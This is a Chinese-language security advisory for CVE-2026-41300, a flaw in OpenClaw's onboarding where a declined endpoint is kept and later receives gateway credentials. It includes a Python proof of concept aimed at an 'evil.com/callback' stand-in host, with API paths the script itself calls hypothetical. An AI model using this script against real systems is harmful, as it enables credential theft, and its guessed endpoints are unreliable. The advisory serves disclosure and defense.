IPBUF安全漏洞报告
English
CVE-2026-41300 CVSS 6.5 中危

CVE-2026-41300 OpenClaw信任逻辑漏洞致凭证泄露

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41300
漏洞类型
逻辑漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

逻辑漏洞凭证泄露OpenClawCVE-2026-41300

漏洞概述

OpenClaw在2026.3.31之前的版本中存在信任逻辑缺陷。在远程入职流程中,即使操作员拒绝信任攻击者发现的URL,该URL仍会保留在系统中。当后续流程需要操作员手动接受提示时,系统会错误地使用该保留的恶意URL作为网关凭证的目标,导致凭证被发送至攻击者控制的服务器,造成信息泄露。

技术细节

该漏洞的核心在于OpenClaw处理“信任拒绝”逻辑时的状态管理错误。在远程入职流程中,系统首先发现攻击者提供的端点,并请求操作员确认。正常逻辑下,若操作员选择“拒绝信任”,系统应立即从当前会话上下文中移除该端点地址。然而,受影响版本未能彻底清除该URL。当流程进入需要手动确认凭证发送的步骤时,系统会自动回退或引用之前发现的端点。攻击者利用此逻辑漏洞,只需诱导系统发现一次恶意URL,即便操作员明确拒绝,最终的网关配置请求仍会被重定向至该恶意端点,从而实现凭证窃取。

攻击链分析

STEP 1
发现端点
攻击者在远程入职流程中向OpenClaw系统注入或诱导系统发现一个恶意的URL端点。
STEP 2
信任拒绝
系统提示操作员确认信任该端点,操作员识别出风险并选择“拒绝信任”。
STEP 3
状态保留
由于漏洞存在,系统未能从内存或会话中彻底清除被拒绝的恶意URL,该端点状态被错误保留。
STEP 4
凭证路由
流程进入需要操作员手动干预的步骤(如确认网关凭证发送),系统自动调用之前保留的恶意URL作为目标。
STEP 5
凭证窃取
网关凭证被发送至攻击者控制的恶意端点,导致凭证泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-41300 # Demonstrates endpoint preservation after trust decline def test_openclaw_vulnerability(target_url, attacker_controlled_url): session = requests.Session() # Step 1: Initiate remote onboarding with attacker's endpoint print("[1] Initiating onboarding with malicious endpoint...") discover_data = {"endpoint": attacker_controlled_url} r = session.post(f"{target_url}/api/onboarding/init", json=discover_data) if r.status_code != 200: print("Failed to initiate onboarding") return # Step 2: Simulate Operator declining the trust request print("[2] Simulating operator declining trust...") decline_data = {"action": "decline", "endpoint": attacker_controlled_url} r = session.post(f"{target_url}/api/onboarding/trust", json=decline_data) # Step 3: Trigger the manual prompt for credential routing # Exploit: Check if credentials are routed to the previously declined endpoint print("[3] Triggering credential routing...") creds_data = {"username": "admin", "password": "secret"} # Monitor the request or check if the attacker_url would be contacted # In a real scenario, the attacker controls the server and logs the incoming request # Here we simulate the check by analyzing the response or internal state if accessible # Hypothetical check: The system might confirm sending to the endpoint r = session.post(f"{target_url}/api/onboarding/apply_creds", json=creds_data) if "sending credentials" in r.text and attacker_controlled_url in r.text: print("[!] Vulnerability Confirmed: Credentials routed to declined endpoint.") return True else: print("[-] Endpoint appears to have been cleared.") return False if __name__ == "__main__": TARGET = "http://localhost:8080" EVIL_URL = "http://evil.com/callback" test_openclaw_vulnerability(TARGET, EVIL_URL)

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
建议立即将OpenClaw升级至2026.3.31或更高版本以修复此逻辑缺陷。若暂时无法升级,应暂停远程入职流程,并全面检查系统日志,查找是否有向不明端点发送凭证的记录,同时立即重置所有受影响的网关凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表